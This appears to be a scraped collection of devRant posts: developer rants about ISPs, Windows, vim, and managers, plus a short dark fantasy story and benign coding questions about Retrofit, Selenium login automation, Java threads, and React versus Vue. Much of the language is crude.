CALL (E) : ... Automatic answering machine.. ... longer than normal, covid19, 1 hour later.... Give up..
CALL (E)(2): ... Automatic answering machine.. ... longer than normal, covid19, 1.2 hour later.... Give up..
Next day CALL (E)(3): ... Automatic answering machine.. ... longer than normal, covid19, 45 minutes later....
Operator: Hi, yes we can move to date 21. you need to call (R) to change fiber mechanic I'll patch you trough
CALL (T) : ... Automatic answering machine.. ... longer than normal, covid19, 30 minutes later....
Operator: You need to call (K) Here is the number 123456789..
CALL (K): ... Automatic answering machine.. ... longer than normal, covid19, 20 minutes later
Operator: This department (R) can not be reached by phone we will call you back.
Next day:
Incoming call from (K). Because you are moving to a new house you do not need (R). have a nice day.
Have a nice day to you too calm and friendly.
hopefully I won't be without internet for a couple of days...1 -
Automate this!
I'm an aspiring coder working some chappy administrator job just to pay the bills for now. My boss found out that I may actually be more computer literate than I let on.
Boss: "I want you to make X happen automatically if I click here on this spreadsheet"
Me "X!? That means processing data from 4 different spreadsheets that aren't consistently named and scraping comparison info from the fronted of the Web cms we're using"
Boss: "if you say so.. Can you do it?"
Me: "maybe.. Can I install python?"
Boss: "No..."
Me: "what about node.js or ruby?"
Boss: "no.. I don't know what you're talking about but you're not installing anything, just get it done"
Me: "Errm Ok.."
So here I am now, way over my head loving the fact that I'm unofficially a Dev and coding my first something in Powershell and vb that will be used in business :)
Sucks that I still have to keep my regular work on target whilst doing this though!2 -
I'm developing an app for a not so mobilefriendly website.
I do not coorporate with the webmaster, yet, so I need to sort of reverse engineer my way around everything (basically just one feature.. xD).
It's a website for people who likes to fish, and they *have* to submit their catches. So, when people submit their catches via the form and click "Submit", the URL they are sent to goes like
http://url.tld/submit_catch.asp/...
I can't figure out if that is a POST request, or what it is.
Somehow, I need to submit a catch from the Android App, and all I currently got is that URL.
What do I need to look into to solve my issue here? Any help appreciated :)22 -
To give you some context, in the past year we have change managers 3 times. Obviously our process (we were trying to follow agile) has suffer the most with all these changes since it seems the managers that have been assigned to us are not really IT people.
We are using TFS (I know...) for our builds and for our scrum and kanban boards, only use developers and QA are really using the board and all the benefits that it provides and the managers are oblivious to what TFS is. I have tried offering them training and workshops but they just don't want to learn.
And now they want us to keep the requirement information on word documents and Excel instead. I'm not sure I can continue my battle against Word/Excel...
I understand they are valuable tools but... Is it really difficult to use a tool that was made specifically for that and it's as easy as filling some text fields and click a button? Why is it so hard to understand that if you want to know the status of a task is as simple as following a link where you can find all the related information?
I think I'm loosing it, even the other developer on my team is in support of using Word... of course the guy doesn't know agile and his cards on the board are shit making him work with QA all the time....
Feel like I'm alone here....4 -
Any vim/nvim users here? Why do you use it despite having to setup that thingie for hours? People like me who wants to try vim/nvim, the setup process scares the crap out of us. What I want? I just want to be able to do what I can already do in vscode. all I wanted my vim/nvim to be able to debug TypeScript/JavaScript with Nodejs. There's packages like, Vim-vscode shit, that takes help from vscode to debug it using vscode! why not use vscode then?
I'm tired of trying nvim/vim over and over again, and every time, it feels like I'm just a little luckier that before. If it continues, Its gonna take forever to setup. No thank you! I'm going back to vscode. Let me know when there's a gui kinda thing where I can see all the available packages for neovim and its just one click/enter install away. else, consider me sleeping...16 -
What the actual fuck is wrong with companies that have websites with useless buttons. And i mean useless like a "Click here for our api documentation" which takes you to a contact form that you fill out and wait 3 days for someone to email you a link to a publicly accessable webpage on the same fucking website, a link that is just an extra tier on the contact forms link 😠 or they make their website a motherfucking labyrinth just to find the api documentation or a phone number to contact them.
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Here I am wondering why I can't click the image then I realize I forgot to tell the html file where the JS file is.....
1 -
Ah, yes, the ages old dilemma of a piece of shit function written in-between taking long drags out of a fucking crackpipe being more reliable than the refactored version; how delightful.
Now, they say broken code from cleanup of sketchy bits is better than any working snippet whose reading feels as pleasant as being repeatedly slapped with a decaying rhinoceros testicle sack, but I'll be fucked if I don't __sometimes__ feel like I just *might* prefer eating the maggot soup out of the rotting fucking gonads of deceased male pachydermata than deal with this kind of shit: feet facing backwards and all that.
Ugh. If only I could live my life without everyday feeling like I'm on a pointless quest to slay a mother fucking dragon, where everytime I get to the castle I'm suddenly a mustachioed italian plumber stepping on turtles and my bitch is in another sicillian ghetto. You know, basic shit.
The good thing in seeing these old errors pop up again after my shoddy bandaid of a patch is taken off is that I'm finally experienced enough to realize that my ~ A P P R O A C H ~ was wrong to beg with. And this is VERY nice, because I came in to do some trivial maintenance of forgotten code, and now I have a plan for correcting a very small and silly but definitively annoying as fuck design error.
Why am I so annoyed then? Because it's more and more work, it never fucking ends, and I can't EVER take a break: with apocalypsis incoming, as we have clearly seen in the stars, tea cups, palm readings, crytal balls, ouija boards, and also in the cover of old-school pornographic magazines nailed to the wall of a defunct newspaper kiosk, the fear of economic collapse is somewhat too real to even THINK about any kind of necessary vacation.
And so: fucking shit, here we go again... TIME FOR MORE COFFEE.
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I fucking hate Windows... Yes I know it's beating a dead horse, but bear with me for a second here:
I really didnt mind it before, but I fucked up majorly on my dual-booted PC yesterday (dont fuck around with systemd if you don't know what you're doing) and needed to reinstall both Linux and Windows. Linux still has some hardware problems (second screen's not being detected), but else everything's just dandy.
But Windows... Holy motherfucking horse-cum drenched piece of goddamn trash! Shit wont listen to me!! I can click in that retarded settings app whatever I want and it still merrily keeps doing whatever the hell it wants 🙄🙄 Why exactly do I still put up with that?!
(It's gaming)6 -
We have a nerf gun in the office here and i'm at the point that whenever i here a click, there is a *duck, hide and roll* part of me triggered. I just saw a guy opening a soda can when i noticed this1
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From the jQuery doc page for .click().
I hope the person who has to do the documentation is alright and not projecting here...
2 -
!dev
Nothing is a dream.
My very first step, as I left the staircase, was on a plate. A loud click made my instincts tick, pushing me to blindly roll forwards.
Before I even had the time to process, that I had just evaded being burnt alive by a wall of flames, the rumblings of another mechanism made my heart accelerate yet again.
Five iron spikes descended uppon me, scratching my cloak, but no more. Twice I was lucky...
But three doors: one behind me, two to my left and right. The ones at my sides spring open with a loud crack, and four terrors pour out, seeking to flay me alive and wear my skin.
I slash at them with my bloody falchion, walking backwards, seeking to escape through the remaining door. Primal fear runs through my spine as I realize: it's barred from the other side!
Burning through my mana, I manage to unlock the door, and quickly close it behind me... but the terrors do not abandon the chase. With inhuman strength, they pound on the door, while desperately crying out for my blood.
I try to escape to the next room... another locked door. There must be another way! There has to, or I'm as well as dead...
What's this, in the corner, among cobwebs? A handle... and a secret passageway, that I can close from the other side! Magnificent!
Another flight of stairs takes me deeper into the tomb. I find an oil lamp, suspiciously well-maintained. Someone has been here recently...
I marvel at the macabre carvings on the wall, depicting scenes from when immortal tyrants ruled the earth. Haven't I seen these before... ?
No matter, I must focus. I was instructed to find an artefact hidden within this acursed place, that I may use for the purification ritual -- there is only one way, so onwards.
An old wooden gate, with a broken bronze knob. Soon as I put my hand on it, it opens inwards...
Eyes black like diamonds, she awaited me inside.
I had never been, simultaneously, just as terrified as enraptured. Day and night, her voice still reverberates inside my mind. And even as I lay dead, her inescapable gaze still clutches the very bottom of my heart.
"Did you come for me?" she asked, smiling, opening up her arms, so that I may fall into her sweet, loving embrace.
"Yes" I whispered as I walked towards her, enthralled.
In a bout of deranged ecstasy, she drank every last drop of my blood. But then... she cried, cuddling my remains.
"No... no, no, NO!" her screams tore apart her very soul "I killed my son... I KILLED MY SON!"
Oh, mother...
Don't cry mother
it hurts no more.
Now I live again.
And I forgive you.
Because I loved you,
as ashamed as I am to admit,
the very moment I saw your eyes,
I loved you.
"I was imprisoned here, so that I may not harm anyone else" she muttered, tears in her eyes "I cannot stop myself -- I am cursed"
Do not ask of me, that I end your suffering.
How could I?
If there is no cure...
"Please, my love... " she begged "kill me... "
No... I can't...
I can't bear either weight
for the rest of this wretched eternity!
How could I take your life?
But how could I leave you to suffer?!
"Now we'll be together... " she smiled, as I raised the falchion.
"Forevermore" I wept, before bringing it down.
***
Nothing is a dream.
Somber, I returned to the Santuary, having fulfilled my mission.
But looking uppon the bone mask I donned, obscuring my eyes, the Matriarch knew that I had been... changed.
I felt no remorse as I slaughtered the witch that doomed my beloved, right on her own altar to heresy. She earned as much.
Her guards, however, I could not defeat.
But that doesn't matter;
deep inside, I was already dead.
And behind the mask,
the whole way through,
I had shed tears without pause.
"Now we'll be together... " I prayed to the nightsky, as silver blades punctured my thorax.
"Forevermore" her sweet voice replied.
*** -
Docuware, oh Docuware.
Meant to be an archiving system, but the moment work flows were seen by our director the ball just went out of the court in terms of implementation.
We've gotten to a point where we don't want to use Asana for ticket tracking and task assignment, we don't want to use a tool that acts as a man in the middle to push information to dbs, we want to use workflows with set conditions to automate every single process in the company. Why? It's cheaper.
The syntax is alrightish for arithmetic expressions, but there are so many limitations that we've gotten to the point where we're absolutely circumventing the entire point of the software.
Initialise variables, Condition, condition, condition, draw data from external sheet, process based thereof.
"oh, why doesn't it display images on the populated forms? I don't want it just as an attachment I need to click next to see".
Frustration is paramount, but the light is at the end of the tunnel.
"Oh, did I mention that we need digital signitures?" you need an additional module Mr boss. "no, I bought the cloud bundle. Make it work".
Powerful tool, I'll give it that, but it's downfall is its lack of being comprehensive.
Month 3, here we go.
4 -
It was on my last job before the one here. I met one of the other programmers in the team and it was an instant click. Really liked this dude. His name was Adam, he was older than me and we spent most of our time talking about code and listening to music (he was a hardcore Caifanes fan, which is one of the greatest Mexican rock bands ever) and he would show me the oldschool tech he used to work with. He was really cool and we still talk all the time :) another would be on a conference my current job sent me and my team to (all of my team are my friends as well) but we got to meet tons of cool people and we still talk to most of them.
:) good vibes man, nothing but good vibes.....and beer. -
It's time for war!
I have two examples doing the same thing. They're bot generated by chatGPT.
React:
import React, { useState } from 'react';
function IncrementalButton() {
// Create state to hold the count value
const [count, setCount] = useState(0);
// Function to handle incrementing the count
const increment = () => {
setCount(count + 1);
};
return (
<div>
<h2>Count: {count}</h2>
<button onClick={increment}>Increment</button>
</div>
);
}
export default IncrementalButton;
VUE:
<template>
<div>
<h2>Count: {{ count }}</h2>
<button @click="increment">Increment</button>
</div>
</template>
<script>
export default {
data() {
return {
count: 0,
};
},
methods: {
increment() {
this.count++;
},
},
};
</script>
<style>
/* Add your CSS styles here if needed */
</style>
Whats better in your opinion?15 -
I was trying to make my own theme for betterdiscord (normal CSS). Once I had the basis I though "Just a bit finetuning left"
Oh boy, I was wrong. Very wrong. It took me 6 hours to complete. That's how wrong I was.
Fucking hell, I suck at css. But at least I got shit done. In case you want to try it:
https://gist.github.com/0e0a4d703d3...
Still not finished, but at least somewhat documented and the most important screen is done.
Also feel free to leave some feedback, since I love to hear how much I suck at designing1 -
Use linux they said. It is stable they said.
I use a linux VM for managing DNS with BIND and configuration via WebMIN.
A minor webmin update : Sure, let’s click.
“Update failed. WebMIN requires UnZIP” Poof whole interface is down. Here we go for 30+ minutes of manual rolling back, installing unzip, retrying update. That shit only happens on linux.23 -
I'm not sure where I'm going with this.
Writing open source can be so sad sometimes.
I would like to think of the internet as a place where people can find people, where everyone counts, but that can't be farther from the truth.
When I check a user's profile in devrant and see that they have a github profile, that's an immediate click for me.
But it usually comes with the sad realization that they have dozens of starless projects.
Many stars are not a guarantee of a good project, but 0-3 stars definitely means no one gives two shit about that (except maybe a couple of friends).
I'm totally ignorant when it comes to networking, and presenting a project you've done to communities of said language.
In fact, I tend to dislike communities because there's a lot of assholes in a lot of them, and sometimes, assholes that have more time in a community tend to be taken more seriously when disputes happen.
So I tried to stay away of them so far, but maybe I should engage and just call people on their shit regardless of the danger of getting banned, until I find that community where people are the least assholish.
Even then, I distrust the success rate of that, because I imagine there's a lot of devs out there, so when you join a community, what you notice is that there's a lot of noise so you end up becoming invisible because of that noise.
I'm not even sure of any of the things I'm saying here...3 -
not a rant.
More coronavirus doomporn so click away now if you're sicking of reading and hearing about it.
As I wrote to sweetnothings and Demolishun over here https://devrant.com/rants/2476697/...
Looting already started in my area.
Store was robbed in broad daylight after it was broken into just a few days ago.
And when the next surge of stimulus money hits people are gonna be like "I better stock up seeing as the shelves are kinda empty."
And then the shelves are gonna empty *quick*.
And people will see that and empty them *even faster*.
And then even faster than *that*, in a vicious cycle.
At some point people might panic and proper looting could begin.
Got my tax return before any stimulus so I took the time to go shopping.
Of course I didn't buy up all of any one item. Don't know why people feel like they need to do that.
Why wouldn't you want a variety of supplies anyway?
Gravy for example. No one can get any meat. Saw that coming a month ago.
If you're just buying for bulk, packet gravy is nice for things like pasta and staples like rice and potatoes.
Little things go a long way.
And salt. Salt is cheap now. Probably will remain cheap, but expect panicking buying to make supply spotty, like
everything else.
I expect these shortages to last 2-4 weeks, excluding things like dairy and meat which *could* go on longer.2 -
Someone testing the project i am working on with an iPad came over and started swiping up and down the screen and said look I can't see the price update when I click here.
Well move your fucking hand!1 -
Hey guys, can you do me a big favor by voting on a project of my classmates and I.
If you go to icapresents.nl (yes the website is Dutch but Google translate can translate the page for you) then scroll down you'd have to click Selecteer profiel (select profile) and then select HBO-ICT propedeuse. There will be one project called EenmaalAndermaal. To view the project click Bekijk Project (view project) and here is the button Stem op dit project (vote for this project).
Warning, you might get a prompt asking you to log in to Facebook (nothing will be shared on your profile!) but when you do this you might get redirected back to the main page without the vote being registered. Bad design.
Thanks in advance
2 -
suggestion for devRant
I'm posting them here so if others want they can flame me as they see fit.
- Please add the ability to customize which notifications to get and which rants to watch.
- Please move around options in profile and settings and for the love of God move the delete profile button. It's just behind the settings button so if you press settings and click again there's a chance you have clicked the delete button.
- Some of the app is using JS for navigation and other parts don't. Pagination can be done with JS. Seeing notifications too.
- I get that the app is designed this way to be displayed on mobile but for someone like me who uses the web app the small editor and it's huge font size and the big plus button are really annoying.
I love this place. I hope it gets better.1 -
*Begin rant*
I know I'm a bit late to bitch about this, but why would anyone in their right mind remove a UI/UX gesture that was loved and adored by millions and replace it with a far less intuitive gesture? I'm talking about Google's decision to fucking replace the Google Now swipe to dismiss cards gesture with a two stage tap and click to hide stories gesture! Why the fuck would you do that? The buttons are far too much of a precision action. And they are located at an area that is not natural for a single handed use. What this has effectively done is, force me to use my phone with two hands. And I fucking hate it! Can anyone here give me a valid reason for Google's design change? It's beginning to get on my nerves and my OCD compels me to hide all the cards until there is none left, so not minding it is not an option! Ughh!
*End rant*2 -
A year ago I built my first todo, not from a tutorial, but using basic libraries and nw.js, and doing basic dom manipulations.
It had drag n drop, icons, and basic saving and loading. And I was satisfied.
Since then I've been working odd jobs.
And today I've decided to stretch out a bit, and build a basic airtable clone, because I think I can.
And also because I hate anything without an offline option.
First thing I realized was I wasn't about to duplicate all the features of a spreadsheet from scratch. I'd need a base to work from.
I spent about an hour looking.
Core features needed would be trivial serialization or saving/loading.
Proper event support for when a cell, row, or column changed, or was selected. Necessary for triggering validation and serialization/saving.
Custom column types.
Embedding html in cells.
Reorderable columns
Optional but nice to have:
Changeable column width and row height.
Drag and drop on rows and columns.
Right click menu support out of the box.
After that hour I had a few I wanted to test.
And started looking at frameworks to support the SPA aspects.
Both mithril and riot have minimal router support. But theres also a ton of other leightweight frameworks and libraries worthy of prototyping in, solid, marko, svelte, etc.
I didn't want to futz with lots of overhead, babeling/gulping/grunting/webpacking or any complex configuration-over-convention.
Didn't care for dom vs shadow dom. Its a prototype not a startup.
And I didn't care to do it the "right way". Learning curve here was antithesis to experimenting. I was trying to get away from plugin, configuration-over-convention, astronaut architecture, monolithic frameworks, the works.
Could I import the library without five dozen dependancies and learning four different tools before getting to hello world?
"But if you know IJK then its quick to get started!", except I don't, so it won't. I didn't want that.
Could I get cheap component-oriented designs?
Was I managing complex state embedded in a monolith that took over the entire layout and conventions of my code, like the world balanced on the back of a turtle?
Did it obscure the dom and state, and the standard way of doing things or *compliment* those?
As for validation, theres a number of vanilla libraries, one of which treats validation similar to unit testing, which seems kinda novel.
For presentation and backend I could do NW.JS, which would remove some of the complications, by putting everything in one script. Or if I wanted to make it a web backend, and avoid writing it in something that ran like a potato strapped to a nuclear rocket (visual studio), I could skip TS and go with python and quart, an async variation of flask.
This has the advantage that using something thats *not* JS, namely python, for interacting with a proper database, and would allow self-hosting or putting it online so people can share data and access in real time with others.
And because I'm horrible, and do things the wrong way for convenience, I could use tailwind.
Because it pisses people off.
How easy (or hard) would it be to recreate a basic functional clone of the core of airtable?
I don't know, but I have feeling I'm going to find out!1 -
Question regarding android. I am having a problem with retrofit (I am using moshi converter factory) and hope that you can help.
Basically I have a screen with 3 checkboxes. User is able to select any of these checkboxes, and also user is allowed to select none of them.
When user doesn't select any checkboxes and click complete button, I send a PATCH request to backend with a model which contains 3 null values.
Problem here is that PATCH request which is being sent doesn't include any properties which have been nulled.
I spent some time researching why retrofit/moshi doesn't serialize nulled properties and I found a fix.
So I have this line
.addConverterFactory(MoshiConverterFactory.create(moshi))
Which I replaced with
.addConverterFactory(MoshiConverterFactory.create(moshi).withNullSerialization())
Now nulls are serialized and I am able to send a PATCH request model with nulled values. However now I'm facing another problem. Across my app I'm using only one retrofit client and I don't want to serialize nulls for all requests. Also I don't want to create another retrofit client.
How can I fix this problem? As far as I've researched it seems that I need to add an adapter with toJson() and fromJson() methods and then somehow enable nullSerialization only for that adapter. However I don't completely understand that solution and not even sure how to handle it.1 -
Frigging jvm crashing god every god dammed time...Here I was all jolly about to start presenting a report to my team , I hadn't exported it to HTML yet so I was presenting in the app . Half an hour goes by and it's all good no problems , manager suggest I export a report and pass it to everyone . The moment I right click jvm HANGS THE APP . I try to save the session file but fail horribly , the temp file only has unreadable , unimportable data...fml now I have to go back through all that from memory...
-
Trying to figure out what the API your company has been using does with 2 pages of documentation sucks! The explanation given to me was also pretty stupid: "So... you click here and then... uhm... this link, and uhm..."
-
WHAT. THE.
https://youtube.com/watch/...
1. watch video
2. comment your thoughts on it
3. read the following copypaste of my thoughts
4. comment your thoughts on whether I'm stupid or he's stupid
5. thanks
----
I am a programmer and I totally prefer windows.
1. I'm (besides other things) a game programmer, so I use the platform I develop for.
2. Linux is the best OS for developing... Linux. But I'm not developing linux. I want to use my OS and have it get in the way as little as possible, not test and debug and fix and develop the OS while i'm using it, while trying to do my actual work.
The less the OS gets in my way, the less stuff it requires me to do for any reason, the less manual management it needs me to do, the better.
OS is there to be a crossroads towards the actual utility. I want to not even notice having any OS at all. That would be the best OS, the one that I keep forgetting that I'm actually using. File access, run programs, ...DONE.
p.s.
if i can't trust you, a programmer, to be able to distinguish and click the correct, non-ad "download" button, or find a source that's not shady in this way, I don't want you to be my programmer. Everything you're expected to do is magnitude more complicated than finding a good site and/or finding the correct "Download" button and/or being able to verify that yes, what you downloaded is what you were after.
Sorry, but if "i can't find the right download button" is anywhere in your list of reasons why "linux is better", that's... Ridiculous.
6:15 "no rebooting" get outta here with this 2000 crap. because that's about the last year I actually had to reboot after installing for the thing to run.
Nowadays not even drivers. I'm watching a youtube video in 3d accelerated browser window while installing newest 3d drivers, I get a half-second flicker at the end and I'm done, no reboot.
the only thing I know still requires reboot within the last 15 years is Daemon Tools when you create a virtual drive, but that one still makes sense, since it's spiking the bios to think it has a hardware which is in fact just a software simulation....
10:00 "oops... something went wrong"
oh c'mon dude! you know that a) programs do their own error messages, don't put that on the OS
b) the "oops... something went wrong" when it's a system error, is just the message title, instead of "Error". there's always an "error id" or something which when you google it, you know precisely what is going on and you can easily find out how to fix it...18 -
Hey guys, need a lil help from any front-ender, I need to create a chart that allows me to show tooltips for specific timeframes and let's me click them and go to the specific url for that timeframe, I know this isn't SO but from my past experiences, I would rather ask here. I have looked at chart.js and other libraries but I'm not sure If chart.js has those capabilities.
I would like to achieve something like this : https://treo.sh/demo/1/...
Any tips are welcomed :)9 -
Before he began dropping the 20K proposed to remodel my flat, I told my father I much preferred a contractor who was recommended by someone I knew, as opposed to using a big corporation like Home Depot. FAMOUS LAST... a neighbour in my building highly recommended the contractor we chose. And, week 7 [or is it 8?] of what was proposed to take no longer than two weeks has begun afresh!
On Friday the fellow who is the owner of the contract remodeling company was here touching the paint. He was here because I forbade the two painters he sent to do the initial painting job.
My internet cut out suddenly around 1300 Friday. He set to leave for the weekend shortly after that. I mentioned the outage to him. The essence of his reply was that there was no way it could have had anything to do with him. The following day, my internet provider sent a tech out to diagnose the problem. What was the problem? The head of the remodeling firm removed a face plate from the wall where there were telephone wires and disconnect them when he tore the wires as he replaced the face plate.
Although the tech told me he wasn't going to charge my account the $85.00 fee for his services because the outage was caused within my flat, I wish to be sure of this. Which brings us to the punchline.
My internet provider is a lame ass business model, dreamed up by a squint-eyed ex-circus monkey, never well endowed in the top story, and now just plain sad.
There were some 911 outages in Washington State last Thursday night. All during the day Friday when you dialled their freephone #. the recorded announcement, before saying anything else, told you they were experiencing heavier than usual call volumes, and my wait would be greater than `10 minutes. Fine. What fried my La Croix silk was that after their customer service dept closed for the weekend, that outgoing message remained.
Today, I wanted to contact my provider to see if they would know if the $ was going to be charged to my account. After pressing the 'send' key, my computer came back with an error message, saying they were having technical difficulties. So, I went on over to the 'chat' page. There's nothing to click on to take me to this enfabled location. So, can't reach them by phone unless I want to hear, every 30 seconds whether or not I wish to, how sorry they are for my delay.
A few years ago I would've used this as an excuse to have a technicolour meltdown. The reason I'm posting this is that I am now able to see beforehand what I'll be doing to myself getting upset over the circumstances. When I do reach somebody, I'm going to tell them as lightly as possible, that if they were an airline, I wouldn't board any of their aircraft. Ever. -
I want to automate some tasks in my PC. But usually when I try to automate something, I have to show the bot exactly step by step, how to do it. Like click on something that looks like this then write something here and so on.
But I want to make a bot, that will learn from my usage replicate the behavior, even if any step gets missed in the middle.
So my question is: to achieve this, which programming language and framework/library should I use?
Thanks13 -
People experienced with java/ multi threading , can you tell me how you build a pausing mechanism for threads? Like, if my bg thread is supposed to count for 100 seconds, and i need a mechanism to :
A: start it,
B: stop it on its counting completion/ manually
C: pause its execution at a number on a button click
D: resume its counting from the same number on another button click
How would i do that?
SO Question link here: https://stackoverflow.com/questions...21 -
Ok, long shot here. I'm doing a POC using a headless browser (Seleium/PhantomJS (C#)) and it is kicking my tail. Sometimes things work and then they don't. My login code is something like:
private IWebDriver _driver = new PhantomJSDriver();
_driver.Navigate().GoToUrl(LoginURL);
_driver.FindElement(By.Name("txtUser")).SendKeys(UserName);
_driver.FindElement(By.Name("txtPass")).SendKeys(Password);
_driver.FindElement(By.TagName("button")).Click();
and it doesn't find it even though it in in _driver.PageSource.
All the SO stuff is from 2013 and I’ve tried many, many, four days worth of many By.XPath, By.Id, By.Name combinations and it just doesn’t work.3 -
Can you see that title of my resolved task properly? you damned click tester!!!! Just don't reopen my task
easily!!
Phew... thanks devRant. You always here. -
I will be investigating but I'll let the question here in case someone knows a way and is kind enough to share it...
WordPress site in Spanish, we need a multilingual plugin or something to let the visitor click a flag or something and see the site translated in English (by hand, no online translator service required).
This would be so easy to code, but they chose WordPress over malleability. c:
Any plugin or idea?2 -
I have a button using
localStorage.setItem(‘button’, getElementById(‘buttonId’))
And use it on page reload for clicking the button on page reload
localStorage.getItem(‘button’).click()
What’s wrong here?22
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